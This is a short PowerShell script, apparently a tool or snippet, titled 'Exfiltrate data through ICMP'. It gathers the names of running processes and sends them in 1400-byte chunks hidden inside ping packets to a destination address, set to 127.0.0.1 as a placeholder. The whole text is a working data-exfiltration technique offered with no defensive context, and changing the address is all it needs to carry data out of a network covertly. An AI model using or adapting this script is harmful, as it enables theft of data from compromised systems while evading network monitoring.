Powershell - Exfiltrate data through ICMP

IcmpExfiltrate.ps1

$dst  = "127.0.0.1";
$data = Get-Process | Select-Object -ExpandProperty Name | Out-String ;

$data = [System.Text.Encoding]::Ascii.GetBytes($data);
$options =(New-Object System.Net.NetworkInformation.PingOptions(64, $true));
$blocksize = 1400;
for($i=0; $i -lt $data.Length; $i+=$blocksize) {
    $block = $data[$i..($i + $blocksize -1)];
    (New-Object System.Net.NetworkInformation.Ping).Send($dst, 10, $block, $options);
}